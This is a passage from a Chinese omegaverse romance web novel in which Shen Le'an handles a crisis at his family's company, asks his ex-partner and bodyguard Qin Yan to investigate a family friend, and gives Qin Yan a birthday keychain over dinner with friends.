沈烨顿了一下,提了几个名字,然后又心情古怪地道:“当时我被抓进去,你杨叔叔过来帮忙,所以他们也提了一下,不过你杨叔叔一直推辞,所以后面也没有人提他了。” 沈乐安哦了一声,倒是想起来,自己好像忽视了杨元然这个人,记在心上,又道:“我今天过来还有别的事情想要问你。” “什么事?” “和妈妈有关的事情。” 沈烨抬眼看向他。 沈乐安现在倒没想瞒他了,直白道:“我去了一趟姜家。” 沈烨眼睛倏然瞪大,手里的那瓣橘子也被他捏爆出了汁水,“谁告诉你那地方的?你一个人去的?” 沈乐安慢腾腾地坐了下来,学着秦砚方才的动作,慢条斯理地剥开橘子的表皮,“这个暂时不能和你说,我去那后看到了妈妈的日记本,里面有个被妈妈称呼为圆圆的人你认不认识?” 沈烨没有立刻回答他这个问题,而是神色凝重地道:“姜家的事情我原先只和你说过一些,但事情牵连不少,这些年一直相安无事,我以为已经过去了,但从那个热搜来看,又牵扯到了你妈妈,明显那些人还是紧追不放的,你现在掺和进来,不是让自己陷入危险吗?” 哪怕沈乐安不说,沈烨也猜得到他想做什么,无非是当初传的玄而又玄的那份文件,但文件至今没有任何的下落,目前在不在还是一回事,但对方死咬不放,摆明了必须要拿回来那东西。 “我会处理好,这件事情做成对沈氏集团也有好处。”沈乐安道。 沈烨顿了一下,思忖良久才说:“沈氏的事情我会想办法解决,你不用插手,这些事情太危险,你不要牵扯进去。” “沈氏目前产品的销售量已经要跌破新低了吧?”沈乐安提了一句,摆在明面上不容忽视的问题。 网上的抗议和目前公司楼下的抗议不少,董事提出换领头人的虽然思虑不周,但也看得出公司处于岌岌可危的状态,不然他们不会想到这种昏招。 沈氏集团是沈烨的心血,也是他一手培养到了如今的庞然大物,当初沈烨多么拼命,沈乐安是心知肚明的,虽然嘴上吐槽沈烨作为父亲时的糟心行为,但沈乐安并不希望自己的父亲人到中年还遭遇一番这样的重大打击。 沈烨沉默了良久,才道:“真的不行了也是命数,大不了重头再来,把股权直接抛售也能拿回来一笔钱,反正不会让咱们家饿死。” 沈乐安意外地看了他一眼。 沈烨:“反正你不要乱做一些危险的事情。” “我会处理好的,”沈乐安语气软了一分,“你要相信我,爸爸。” 后边那一声称谓太轻,又太久没有听到,沈烨一个大男人,竟然微微红了眼眶。 沈乐安不想和他搞什么煽情戏码,转移话题道:“圆圆是谁?” 沈烨还在满心触动,被他这么一问,情绪也下去了一点,严父威严犹存,板着脸道:“你也认识,就是你杨叔叔。” “……谁?” “杨元然,你杨叔。” “……” 沈乐安难以用意外来描述自己的心情,压下奇异的认知,认真道:“杨叔叔和我妈妈认识?他和你怎么认识的。” “我是因为你妈妈才和元然认识的,元然和你妈妈也算是青梅竹马,从小就认识,关系很好。” 沈乐安看了他一眼,“你认不认识妈妈初中的时候给她同学录留言的R同学?” 沈烨一头雾水地看向他。 沈乐安终于想起来他当时有一瞬间觉得那个字迹似乎有点眼熟的原因,啧了一声,道:“你和杨叔叔不会是情敌关系吧?情敌变亲戚然后又变朋友?” 沈烨:“……滚!” 沈乐安一看他的表情,就基本上确认了。 沈烨瞪了他一眼,“你杨叔叔和你姑姑现在家庭美满,几百年前的破事了,早就没了,你别乱说出去。” 沈乐安:“我没你那么八卦。” 沈烨哼了一声。 沈乐安从沈烨这里问完消息,也没有久留,因为周秘书还专门过来暗示他另外一边的那些人怎么沟通。 公司的私事,沈乐安也没有想要秦砚参与,但秦砚没有刚刚的体贴,跟着他一起进了休息室。 齐冥观察一眼,发现秦砚没有参与话题的意思,便少了拘束,冷声对沈乐安道:“乐安啊,你这是什么意思?连叔叔都不知道喊了吗?” 刘华荣也道:“你家这事给公司带来了多少麻烦你知不知道?” 两人一提,其余的几人也跟着摆起了架子,对沈乐安开始劈头盖脸的数落。 秦砚答应了沈乐安,本没有打算干预,但也忍不住皱了皱眉。 沈乐安摆摆手,打断他们菜市场一样的氛围,直白道:“我们家给公司带来多少麻烦我不知道,但这么多年,沈氏确确实实是靠着我们沈家起来的,也是我爸忙前忙后做大的,之前沈氏资金链断裂,几乎破产,你们的股份买的那么快,我们沈家可没有说过什么。” 闹得最凶的齐冥和刘华荣闻声一静,沈乐安提到股份,明显是意有所指。 沈氏裁决需要股东参与,但沈烨是实打实的大股东,因为很早之前沈氏几乎要倒塌的时候,那些股份是沈烨花了不少钱全部收回来的。 沈乐安笑了下,“你们几个的股份加起来还没有我爸的一半多吧?想换掉我爸,想的倒是挺美的。” 齐冥道:“乐安,现在的沈氏可经不起一点点的波动,哪怕只是一点股份的抛售,你确定要对我们这些股东如此态度?” 沈乐安看向他,“没事,你们想卖尽管卖,不就是回收原始股吗,我爸反正也做过类似的工作,不难。” 刘华荣道:“这是沈烨让你来和我说的?” “当然不是,”沈乐安道,“作为股东之一,我有权利表达我的想法,毕竟抑制剂的技术是我提供给沈氏的,如果后期换上来的领头人让我不满意,我只能带着我的技术离开,隔壁的韵世集团和我关系也还可以。” 韵世集团算是沈氏主营的抑制剂的对家,他们两家算是竞对产品了,这威胁已经提在表面了,抑制剂是沈氏的主流产品,如果这个没了,那基本上算是垮了一半,没有人能够承担这个后果。 他们只记得沈乐安是沈烨的儿子,沈家的小少爷,完全忘了这人还有这么一个技术专家的身份。 当初抑制剂的改革是沈乐安做的,沈氏能够如此壮大,少不了这一份抑制剂的功劳,也不怪当初沈烨一直看重他,希望培养沈乐安成为下一个继承人,但无奈分化从原以为的Alpha变成了Omega,打乱了节奏,后来沈乐安离开了公司,知道的人只晓得他去了军校成了一个小校医,这工作普通又平凡,然后就没有关注了。 齐冥和刘华荣顿时一同噤了声。 周秘书收到小少爷的眼色,忙出来打圆场道:“乐安,几位董事今天也是因为担心沈董出事才过来的,沈董和几位董事关系一直很好,您可不能乱说,伤了沈董的心啊。” 沈乐安冷哼一声,“如果不是因为沈烨,你以为我会在这里和他们扯七扯八废话这么久?从进来开始就一直在指桑骂槐,我难道还能有空说什么正事?” 打棒棍子给颗枣的操作一向容易笼络人心,尤其沈乐安前面的表现可谓强势,现在他又提沈烨的情,几位董事才念起沈烨的好,听到沈乐安嘴里的正事,便有人忙追问道:“乐安是有什么办法挽救现在的局面?” “是有点想法。”沈乐安点头应道。 齐冥捧着笑说道:“是我太心急,还没年轻人沉稳,乐安快说来听听。” 利益一致,哪怕上一秒翻脸,下一秒都能喜笑颜开。 沈乐安垂了垂眼皮,将思路说清。 不破不立,沈氏之前捐赠的那份药物爆出问题让沈氏处于信誉危机的状态,最好的办法就是停下来进行整顿,而且是以绝对公平公开的方式,比如网友票选、直播销毁不合格产品等操作可以勉强挽回公司的形象,不过直播过程中因素太不可控,需要严格进行策划,以免出现意外。 沈乐安只是提了几个想法,这群老家伙觉得颇有新意,但刘荣华还是忍不住道:“这么做岂不是成本过高?” 销毁不合格产品也就罢了,主要还是检查的过程,需要付出大量的人力和物力,而且沈乐安还要求在此期间工厂全线停工,那后期的货源什么的,岂不是难以供应,损失可谓巨大。 沈乐安只提了一句:“你觉得现在的销量下滑速度来看,产品生产出来是不是在滞销?” 刘荣华想了想,也勉强有点认同这个说法。 齐冥道:“这最多打打花招,根本的问题没有解决。” 反叛军生产的信息素暴动的药物和企业挂钩一日,沈氏就很难撕下这个标签。 沈乐安早有计划,说道:“信息素暴动的对抗药物已经研发出来了,相信几位叔叔有点风声,这款药物一出,可以说是完全没有同类产品可以取代的,沈氏有完备的生产链,完全能够争取。” 齐冥眼前一亮,没想到沈乐安还知道这一层的消息,但这药物似乎是联邦军校那边的人员研发出来的,说不定和沈乐安是同事,他这么提,说明事情还是有七八分把握的。 如果这个新款的药物可以由沈氏生产销售,那之前和这个药物的关联的负面影响完全可以反向影响,转为正面态度。 这网上一提,这说不定就变成了因为沈氏有了新款药物,反叛军阴谋失败,所以给沈氏泼脏水不是? 众人顿时喜笑颜开,完全没有了争锋相对的矛盾,开始聊起来公司未来的发展,沈乐安没有兴趣和他们闲聊,应付了几句,便借口离开。 他走出来的时候才想起来刚才秦砚也在里面,不过秦砚从头到尾都没有出声,存在感倒是弱了许多,连沈乐安都忘了他还在里面。 沈乐安转头看了他一眼,说道:“刚刚那是公司机密。” 秦砚垂眸看向他,“不会外传,放心。” 沈乐安嗯了一声,对他的承诺还算信任。 他看了秦砚一眼,发现他目光一直落在自己身上,等了两秒,倒是没有等来他的批评。 他今天提了药剂的事情,这事原本不该往外提前说,算得上是作弊行为,忘了秦砚在场,这人出来后一直关注他,估计是因为这事。 沈乐安斟酌了两秒,主动问道:“你有事情想和我说?” 秦砚没有否认,“能不能回答我几个问题?” “你说。” 沈乐安没有听他提什么药剂的事情,反而听到他问了一句:“你原先在沈氏待过?” “是。” “怎么离职去了军校当校医了?” “想治病,”沈乐安难得坦诚道,“我分化的时候差点发生信息素暴动。” 秦砚目光落在他乌亮柔滑的眸子上,日光洒在他的脸上,增添了一层暖意,衬得他今日如此的鲜活明亮,仿佛没有困难能够将他大到,哪怕是面对众人围攻的场面,依旧镇定自若。 “会定期发作?” “是。” “很严重?” “刚开始有点,后边适应了还好,不过我的没有你的程度高,但没你能忍而已。” 秦砚想起来他一开始提的临时伴侣的几点要求,现在找到了理由,所以他提分手如此的快速又没有任何迟疑,是因为他还认为他们是临时伴侣的身份,而且他对他并没有多少喜欢? 沈乐安看向他:“你问完了?” 秦砚唇线绷直,应了一声。 有些话已经不好开口,毕竟他们已经没有了当初的身份,多说一些便是越线。 秦砚想到此,便无名有点心烦。 沈乐安没有发现他的不对,想着杨元然的事情,也有点烦躁,想查他就不好动用沈家的人脉,一不小心万一让他爸知道了,岂不是容易暴露,找朋友估计也不大行,他不是很想这事被别人知道。 思来想去,便只有一个人最合适。 沈乐安走慢了半步,与秦砚持平,喊了他一声,“秦砚。” 秦砚垂眸看向他。 沈乐安与他对视片刻,顿时觉得有点难以启齿,毕竟之前自己还应了不会找他帮忙,而且他也提过不会给他任何帮助。 “怎么了?”秦砚问道。 他提了,沈乐安便也没有迟疑,顺便开口试探了一句,“我想和你做个交易。” 秦砚眼神示意他继续说。 “你身体的治疗徐应尧已经帮你开始做了吧?”沈乐安道,“看在这个的份上,能不能麻烦你帮我查个人?” “谁?” “杨元然,我爸的朋友,和我妈也认识。” 秦砚记下,道:“我会尽快给你资料。” 沈乐安松了口气,“谢谢。” “你还有别的事吗?” “没了没了。” 沈乐安没敢多麻烦他,生怕他又说点什么,不过想起来余淮阳昨天的邀约,还记得秦砚的保镖身份,又问:“我明天有个私人的饭局,只和我朋友,应该没有什么危险,你也需要跟着我出去吗?” 秦砚低头看他,“和谁?” 沈乐安还不清楚余淮阳会不会喊其他人,只说:“余淮阳会来,不知道他会不会叫上凌颂他们。” 秦砚听到了熟悉的名字,也没有错过他明显信任的表情,黑眸沉了下来,如似染上了墨汁。 这只是原定的任务,但秦砚却忍不住带上了一点私人的情绪,问他:“你不希望我过去?” 沈乐安觉得他好像有点生气,不自觉压低了声,与他解释道:“……我不是这个意思,就是问问你。” 秦砚语调偏硬地回他:“以防万一,我会陪你过去。” 沈乐安干巴巴地哦了一声。 第63章 第 66+67 章 虽然答应了让秦砚一起去这次的饭局, 但秦砚和他们不熟,只见过一面,沈乐安还在纠结过去后怎么和他们解释他让秦砚陪他过来的事情。 沈乐安想了两天, 最后还是给余淮阳说了一声, 提了一句自己会带个朋友过去,至于是谁,他决定暂时不提前说,主要原因还是因为借口没有想好, 他怕余淮阳追问。 余淮阳定了一个专门的包间,还叫上了凌颂他们, 来的人还真的不少,难得的是,连苏依白都在。 苏依白平时很忙,上次余淮阳生日她才腾出来了一点时间, 这一回过来, 应该不止一顿饭这么简单。 沈乐安与他们挨个打了声招呼, 本来想直接入座,但想起来后边还跟了一个秦砚, 只能坐到了苏依白那侧, 没有去余淮阳专门给他留的空位。 事实上从沈乐安来之前大家就在讨论沈乐安要带过来的神秘来客, 毕竟这种局,乐安并没有带谁过来的先例,这是第一次, 而且还保持神秘地留了惊喜。 只是他们没想到这个惊喜似乎并没有任何的准备, 形式很平淡的度过, 沈乐安甚至没有打算专门介绍一下秦砚的身份,虽然他们对秦砚的背景还是有所耳闻的, 也有过一次很浅的打牌交道。 凌圆圆年纪最小,说话也非常直白,“乐安哥,你怎么突然喊秦少爷过来了?” 鉴于上一次对于秦砚本人警告眼神的害怕,她是凑过去压低声问的,但在座的人没有人开口,格外的安静,这动静也自然逃不开别人的打量。 沈乐安索性放开声解释道:“秦砚之前帮过我忙,难得能够凑出来一起的时间,刚好也算是请他吃饭报答了。” 秦砚没有什么反应,只是顺手给沈乐安倒了一杯白开水,放在他的手边。 沈乐安拿走喝了一口,毕竟过来的路上没喝水,极度缺水口干,他对秦砚非常配合的态度很满意。 凌圆圆咽了咽口水,还以为他们是来公开的,结果不是,她默默低下了脑袋,难道是秦大少爷暗恋乐安哥,乐安哥不同意? 但看这架势,明明比上次还自然,总觉得有哪里不对。 凌颂倒是相信沈乐安这喜欢多效率偷懒办事的性格,笑道:“请人吃饭都这么偷工减料,那今天这顿可归沈小少爷请客了啊。” 沈乐安摆摆手:“请请请,放心,饭钱还有。” 余淮阳旁边空了一个位置,默不作声地看了一眼坐在沈乐安旁边的秦砚,带了一点打量的意味。 苏依白开口道:“先吃饭吧,一边吃饭一边聊。” 沈乐安点头,“我也有点饿了。” 余淮阳联系了负责人,催促人将菜送齐,没一会的功夫,服务员就端着菜上来,将空荡荡的圆桌摆满了。 沈乐安确实是饿了,出来前他还在和实验室的人联系沟通药物研究的事情,最近又去了几次姜家,连轴转的劳累程度,偶尔赶上饭点,如果不是秦砚提醒,大概他也忘了正儿八经的吃饭。 余淮阳看他吃的专心,眼周有淡淡的青色,皱了皱眉道:“是因为你家的事情,所以一直在忙?最近一直联系不上你。” 这话也没说错,沈乐安嘴里还叼着棵菜叶子,点点头。 凌圆圆插嘴道:“我听说沈叔叔已经出来了,乐安哥家里的事情还不算结束吗?” “没你想的那么简单,”凌颂道,“有人在助推舆论,明显针对沈氏,可能是商业竞争。” 余淮阳没有打听生意上的事情,问道:“沈叔叔的身体怎么样了?” 凌圆圆睁大眼:“沈叔叔生病了吗?” “还在医院待着,高血压,工作上的事情发脾气而已,不严重。”沈乐安简单提了一句。 他夹了几口菜,又瞥见一旁没有什么存在感的秦砚,想起来自己今天找的借口,又顺手多点了一笔单,而后继续与余淮阳他们聊天。 这里上菜速度很快,没有几分钟的时间,服务员便过来敲了敲门,新端进来了几样菜色,暂时中断了对话。 凌颂看了一眼,问余淮阳:“你点的?” 余淮阳摇头,“不是,乐安点的吧。” 沈乐安刚刚拿了下单的平板,余淮阳看了一眼,似乎并非沈乐安喜欢的菜肴,不过沈乐安倒是说了一句:“我今天这顿还是答谢宴。” 所以这些菜是给秦砚点的。 凌颂被他这番骚操作整的一乐,哈哈大笑。 苏依白不清楚他们多熟,观察了一下秦砚的神色,看到他神色平静地夹了一口新送进来的青椒往嘴里送,细嚼慢咽地吃了两口,没看出来生气的意思,倒是松了口气。 乐安和他们这些关系好的朋友这么闹倒是没有什么,但是这位秦家的大少爷却不一定会好脾气的接受,尤其是乐安说了今天是答谢人家帮忙的。 余淮阳盯着秦砚看了一眼,发现他没有生气,也松了口气。 在公司待了一段时间,他也不是人情世故什么都没学会,还是知道一点利害关系的,沈家现在出事,秦家如果落井下石,一定不是什么好事。 虽然不知道乐安找秦砚帮了什么忙,但最好还是离秦砚远一点好些,毕竟他听说秦砚这人十分的古板又无趣,而且办事道德感极强,原则性也极高,乐安如果想要和秦砚这种人打好交道,大约要将自己的性格全部反过来长。 余淮阳虽然对秦砚今天过来占了乐安身边的位置有点扫兴,但讲真认为他们之间有什么,他是不信的,毕竟秦砚这种人的择偶标准,看之前的相亲对象就知道。 沈乐安和林风凛简直是天差地别的两个款,尤其之前林风凛还在朋友圈发了那视频,虽然后来不知道什么原因删了,但明显可能和秦砚有什么进一步的发展意向,不然不会发那种消息在朋友圈吧。 余淮阳兀自说服了自己,压下了心中下意识对秦砚产生的抵触和警惕,抬手,将圆盘转了转,将沈乐安喜欢的菜色转到他身前,“你家的事情有什么需要可以和我们说,除了你之前让我帮忙的事情,其他的和沈氏有关的我们也可以帮帮忙。” 凌颂道:“大事可能不一定能做主,但我们私人还是有点钱的。” 苏依白道:“我们公司综合鉴定过沈氏的资质,还可以考虑和你们开展其他的合作。” 苏依白现在基本上把控了经营权,所以和他们几个小辈不同,大事上是确实可以做主的,难怪余淮阳今天专门把她也喊了过来。 说实话,沈乐安确实有点被感动到。 不过他没有打算麻烦他们,只是受了这份心意,“公司的事情我暂时不会插手,我爸会处理,谢谢你们的好意。” 苏依白知晓他的意思,没有勉强,又道:“上次你让淮阳找我帮忙的事情,我找人查了一下,有了一点结果。” 沈华章合伙的那个人的信息沈乐安前不久麻烦余淮阳找苏依白帮了忙,这人的信息他从沈华章那弄来了一点,知道是个三四十岁的男人,有个英文名罗伯特,中文名叫季青。 沈乐安没想到她这么快有了突破,追问道:“怎么样,那个人还在国内吗?” 这事能有这么快的突破,其实有宋家的因素,苏依白微不可察地扫了一眼毫无存在感的秦砚,她原先以为乐安请秦砚过来是知道这事,但现在看来,好像并非如此,所以秦砚还帮了其他的忙? 苏依白没有多猜,注意转回正事道:“他的最终行踪消失在M国,三年前就出了联邦,和你表哥谈完生意出境后没有再回来的记录,而且这个人在联邦是有犯罪记录的,这种人群出境的手续非常麻烦,有人帮他走通了关系。” 沈乐安:“沈华章说他去年还和人家一起见过面。” 苏依白:“确认是本人?” “他非常肯定,但我不是很相信,”沈乐安冷哼一声,“他约人在酒吧,还喝醉了,沈华章这人什么酒品我还是清楚的。” 余淮阳问:“哪间酒吧?也许我能帮忙问问有没有还有没有监控留存。” 沈乐安瞥他:“就你上次生日带我们去的那家。” 别人不知道,苏依白还是有点了解的,那家酒吧是秦砚开的,她转头看向秦砚,问道:“秦大少能不能帮这个忙?” 沈乐安不明所以,歪头看向秦砚。 眼神里面的疑惑很明显,怎么苏依白突然找上你了。 秦砚对上那道视线,掀了掀唇,与他解释:“酒吧是我当初和谢景开他们一起开的,我注资最多,所以归我管。” 沈乐安没想到还能扯上秦砚,一时间有点微妙,秦砚当初撂下的话又萦绕耳畔,顿时觉得头疼不已。 秦砚敛回视线,主动开口:“什么时间的监控?” 沈乐安下意识回他:“去年三月十五日。” 秦砚应下,允诺道:“最迟明天晚上给你。” 这是答应帮忙的意思,还格外的爽快,沈乐安表情有点复杂地看了他一眼,不明白他怎么态度有所转变,不过还是低声说了一句:“谢谢。” 秦砚语气平和地应了一声。 沈乐安看了他好几眼,又顺手摸了摸自己有点凸出来的口袋,这是他来的时候随手拿过来的小摆件,还是新的。 其他人只觉得秦砚好像人好,虽然不怎么说话,但是还算仗义,给人十足的安全感,余淮阳虽然觉得他们之间的相处有点奇怪,不过眼下还是正事关键,秦砚愿意帮忙,自然皆大欢喜,他光顾着替沈乐安高兴,暂时忘了秦砚和沈乐安之间的不对劲。 苏依白扫了他们两个一眼,尤其重点观察了一下秦砚的神色,却没有看出什么来。 沈乐安倒像是个局外人,事情有了解决的方向,他心安理得毫无压力地开始专注回去吃饭填饱肚子。 只有不小心筷子掉下去,埋下脑袋去底下捡筷子的凌圆圆小姑娘仿佛受到了巨大的惊吓,满脸的呆滞。 明明只是抬头的一瞬间,但她却是个十足的幸运儿,目睹了坐在那里的两个人桌子底下一来一回的小动作。 她发誓她亲眼看见乐安哥从口袋里面取了一个疑似小吊坠的小玩意,自然又随意地将东西塞进了那位严肃冷漠的秦大少爷的口袋,Alpha那双有力的大手发觉他的小动作,反手捉住,纤细的手被暧昧的扣押在外套的口袋中,手臂被Alpha握了数秒,而后不知发生了什么,两只手才徐徐分开。 像是小情侣在众目睽睽之下做着不为人知的小动作。 而凌圆圆,就是那个很意外的发现的第三人。 凌圆圆正在接受世界观的审判,一是难以置信他们可能真的是一对,二是这两人的反应简直难以令人想象的具有冲击力。 明明只是一扣一握,她竟然读出了宠溺和偏爱的感觉。 秦砚不知这个未成年的小姑娘脑袋里面的弯弯绕绕,他的心思也不在饭局,而是在自己口袋里面多出来的那个小东西。 是沈乐安刚刚放进去的。 他抽手走的时候用很低的声音说了一句,“生日快乐,谢谢你的帮忙。”语气很轻,也很平常,然后便装作无事发生,又埋头吃饭去了。 小少爷看起来非常的平淡,甚至说得上有点冷漠,如果排开他略微有些泛红的耳垂的话。 秦砚将手伸入口袋,认真地摸了摸里面的东西。 哪怕不看,以他的本事,也能摸得出来口袋里面的东西。 是一样小挂件,应该是类似于钥匙扣一样的东西,他其实没有什么需要到这个东西的地方。 小挂件的样式似乎也非常的简单,像是路边摊上随便买来的,甚至没有任何的礼盒包装,送礼的人连塑料的包装袋都没有留,上面还有一点属于原主人的余温。 送这礼物的主人一点也没有郑重,甚至可以说得上偷偷摸摸,很随意地说了一句话就将东西擅自塞到了别人的口袋里面。 一个对他而言毫无价值、设计的款式极其简陋、甚至送礼的人连生日祝愿都敷衍的小礼物。 但秦砚还是忍不住摸了摸口袋里面的东西,一遍又一遍。 —— 沈乐安今天过来是吃饭的,当然也没有碰酒,虽然有借酒消愁这一说,但他最近精力需要用在更重要的地方,所以一晚上滴酒不沾,不过精神状态反而很好,甚至说得上非常抖擞。 离开的时候余淮阳本来想送他,但沈乐安坐秦砚的车来的,而且秦砚需要随时跟着他,也没有必要专门麻烦余淮阳,所以沈乐安最后还是和秦砚一起离开。 余淮阳拗不过沈乐安,只是在沈乐安上车后,还是和秦砚说了一句:“麻烦秦大少了,如果方便的话,再请你把他送到宿舍楼下,晚上还是有点不安全。” 秦砚没接这话,他并不想被对方归类为司机一类的角色,只道:“我专门陪他过来这里,当然也不会让他有任何危险。” 陪他过来? 这个动词倒是和乐安的用法天差地别,仿佛是被人需要特意邀请过来一样,话里话外都仿佛昭示着他对于沈乐安而言并不单纯是普通朋友的角色。 余淮阳眯了眯眼,只看到Alpha略显冷漠的神色。 秦砚垂了垂眼皮,敛下不明的思绪,丢下话便转头离开。 余淮阳盯着他手上车钥匙多出来的小挂坠,垂在手边,很明显的一个位置,忍不住多看了一眼,真看不出来这位传说中不解风情的秦大少还会用这种可爱的小挂件。 秦砚上了车,那装饰的小玩意也消失在了视野之中。 两人的对话只在短短几秒间,沈乐安一无所知,但他其实也不是很想单独和秦砚一起回去,刚刚脑一抽把那随手捎上的小挂件当成生日礼物送给秦砚,而且还是在吃饭的时候心血来潮,这个行为本身有点冲动。 而且更让沈乐安心情微妙的还是秦砚的反应,对方大概是觉得他过分亲密的行为十分冒犯,甚至直接扣住了他的手,如果不是他小声和他解释了一下自己的没有恶意,估计秦砚会当场和他翻脸。 送个礼物整成这样也真的是丢人现眼,沈乐安想上车直接装睡,虽然他因为今晚事情有所进展而思绪活跃睡意全无。 不过他的想法止步于刚系完安全带的后一秒。 他听到了钥匙扣身与银色链条碰击的清脆声,在安静密闭的车厢内各位的悦耳醒目,注意力便很快的被吸引过去。 沈乐安一抬头,映入视野的第一眼是车钥匙插口那悬挂在半空的挂件。 金黄如日光一样的底色,在光线下反衬处一点碎如星子的光芒,红色的小章刻在圆盘中间,中央还有三个小字,写着联邦军,外表看上去像是一个庄严的徽章,当然,它远远比秦砚拥有过的真正意义军队徽章要廉价的多。 这是上一次联邦一军过来的时候,学校对外售卖的纪念品,沈乐安当时看到台上学校欢迎联邦一军的人过来还赠与了纪念章,也随手买了一个,其实如果秦砚没有生病,这些他也会有,只不过这上面还刻了时间,到底还是不一样的。 那样略有怜惜的念头也就当时在台下看开幕仪式的时候比较浓烈,所以买完之后沈乐安也没送,随手丢家里了,不过今天出门的时候想起来当时无意看到的秦砚身份证上面的出生日期,才知道他刚好今天生日,便顺手拿了那枚纪念品。 这种没什么价值的礼物,也称不上用心,他送出去也没事,只不过现在看到秦砚转头就让它派上了用场,还在很显眼的位置,沈乐安神情莫名。 “谢谢,”秦砚很突然地说了一句,“生日礼物我很喜欢。” 沈乐安回过神道:“不客气,东西是学校比赛的时候在学校买的纪念品,饭桌上一时兴起临时给你还有想要答谢你帮我调监控的缘故。” 秦砚:“监控的事情只是一件小事,你不用太在意。” 沈乐安轻咳了两声,倒也没有遮掩,“我只是有点意外你会帮我。” 他指的是秦砚当初与他分手的时候说的话,秦砚心知肚明。 为什么会掺和进来这件事,又几次私下帮沈乐安的忙,秦砚哪怕想要否认,言行不一致的行为也足以让他清楚他自己的想法。 但他不能表现的太过于明显,尤其是在他们之间还属于保镖与雇主兼前男友的身份和沈家正处于风口浪尖的情况之下。 事情的轻重缓急,秦砚还是能够分得清的,哪怕他今天过来这一趟也带了一点私人的情绪。 秦砚并不希望沈乐安认为他是个言而无信的人,对此,他还是解释道:“我在联邦军的身份对我本人的行为有拘束,现在工作是你的保镖,原来的规则与我而言并没有太大关系。” 沈乐安:“……” 他第一次见到有人能说出这种毫无依据又格外任性的理由,换了普通的保镖兼职你不还是秦砚秦上将? 不过秦砚的脑回路确实和正常人有点区别,沈乐安心中暗暗吐槽。 “你怎么知道我生日是今天?”秦砚挑开了话题。 沈乐安倒也没有隐瞒,“上次在姜家翻你手机相册检查你拍的照片是否合格的时候不小心往后划到了你的私人相册,里面有你的个人证件,我没有窥探你隐私的意思,只是数字临近,所以留了一个印象。” 秦砚嗯了一声。 沈乐安划了划手机,想起来什么,又说:“你上次的照片给我传完了吗?” “传完了,”秦砚听懂了他的意思,问道,“是有什么疏漏?” 沈乐安收到后翻了好几回也没翻出来,他只好专门来问问秦砚,“我妈妈给我小时候画的那张,里面没有。” 他说的那张秦砚刚好记得。 那张照片被秦砚随手收藏了,相册内照片会自动分类,可能换成了另外一个文件夹。 秦砚意识到这个问题,但也没有过多解释,只说:“我回去后再找找,给你发过去。” 沈乐安点点头,“好的,谢谢。” 道完谢,似乎也没有什么别的可聊的话题了,沈乐安终于松了口气,假寐似的阖上了眼睛。 秦砚侧眸,盯着他仿佛安睡过去的恬淡睡容看了几秒,而后才转回神,重新启动车子。 车子一路开回学校,车内的两人都没有任何交流,一直到车子停稳,沈乐安才恰到时机地睁开了眼。 不过眼前却不是自己宿舍楼下的场景,而是C区的地盘,路道那里的标志非常的明显。 沈乐安愣神数秒,侧头看向旁边开车的人,眼底的疑惑表达清晰。 秦砚熄了火,才道:“酒吧的视频已经发到我邮箱了,我家里有高清的投影仪,方便你认人。” 他考虑的非常周到,理由也很充分,虽然沈乐安觉得有点多此一举。 不过沈乐安还是应下了,但他有点想先回去洗澡,出门吃饭回来身上总有股油烟味,他受不了。 “你的东西我还没有来得及处理,你可以暂时在这边住一天,”秦砚道,“视频的时长太长,哪怕倍速跳过也很费时间,回去太晚会影响邻居休息。” 秦砚已经停好了车,人也跟着下车了,话说到这个份上,沈乐安又不是没有在这住过,而且秦砚在他家住和他在秦砚家住区别也不大。 沈乐安只好应下,跟着秦砚回了他家。 秦砚家里和沈乐安离开的时候没有什么区别,甚至客厅的糖果和小饼干之类的零食还在,冰箱内也还放着酸奶,只不过没人喝。 论舒适度,沈乐安不可否认,住在宽敞的C区独栋还是比在B区他的小宿舍要舒服的多的,何况这里还有一个称得上洁癖的室友,沈乐安跟他住了那么久,也或多或少熏陶上了一点爱干净的好习惯。 沈乐安拆了一瓶酸奶便上楼拿衣服准备洗澡,秦砚去书房取了投影仪和电脑,要将投影仪和电脑连接,然后把视频弄上屏幕。 沈乐安一个人回了主卧,发现这里竟然还维持着他上次离开的模样,除了床单和被套被人换新了一番,但秦砚似乎还是住在次卧,并没有睡在这里。 他顺手开了衣柜的门,看着视野内忽然空出来的一片,脑袋里面的记忆复苏,想起来自己好像把衣服全部弄回自己的宿舍了。 沈乐安往里扒了扒,发现还有几条衣服和贴身的内裤,没带走的可能是他翻漏的和当时换洗挂在外头的晾衣架上忘记取的。 贴身的内裤有,但剩下来的其他衣服都是出门的,还有帽子,沈乐安并不喜欢睡觉的时候脑袋那里还有帽子膈应着,这十分影响他的睡眠质量。 沈乐安在衣柜前面驻足了几秒,还是出了房间,刚走出去,便看到从次卧出来的秦砚。 “这里没有换洗的睡衣,我想回去拿。”沈乐安其实还想着干脆走回去洗个澡再过来。 大概是马上准备去洗澡,沈乐安上衣被他抽了出来,耷拉在腿侧,裤腿也被他卷了起来,露出精致白皙的脚踝,闲散而慵懒。 秦砚不着痕迹地看了一眼,随后指了指自己的房间,“方便去我房间里面看看吗?” 还没等回话,秦砚便先一步开了次卧的门进去,沈乐安只好紧随其后。 秦砚开了自己衣柜的门,从左侧一角取了一件衬衣和长裤出来,“这是你上次借来穿过的睡衣,你可以拿去穿。” 沈乐安看到那熟悉的衣服款式就认出来,当时来秦砚家里没有睡衣穿,主卧那时候还有秦砚的新衣服,他就借了秦砚的,不过后来他搬过来后,主卧内属于秦砚的衣服就放回了次卧,自己上次穿过的睡衣沈乐安也没再见过,他还以为被秦砚丢了,没想到还放在这里。 虽然不知道秦砚怎么没丢,但也算解了燃眉之急,如非必要,沈乐安也懒得再跑一趟,太麻烦。 沈乐安道了声谢就拿走了衣服。 他洗了澡还洗了头,出来的时候吹完头发才慢吞吞的下去。 秦砚人在客厅,也换了一身衣服,他正专注着操作着电脑,周身还有淡淡的水汽,他有点洁癖,估计是在另外一间浴室也洗了澡才下来。 Alpha盘着腿,坐在沙发旁边的桌子底下,姿势比上次玩游戏时还要来的闲适随意,屏幕的蓝光折射在他的脸上,阴影交错,愈发显得他五官轮廓的立体与线条流畅。 发梢微微湿润,晶莹的水珠从发尾顺着额角一路滚落,红润的唇瓣也着了一层姝色,而蜿蜒而下,从Alpha修长有力的颈部钻入微敞开的胸膛的水珠,也让往日如似佛子一般清冷严肃的人添了一分人世的尘俗。 秦砚衬衣上面解了两颗扣子,这是沈乐安在理智回笼之后的第一反应,他这人在家里能够解一颗都算是十分放松了,至少在沈乐安看来,之前是这样的。 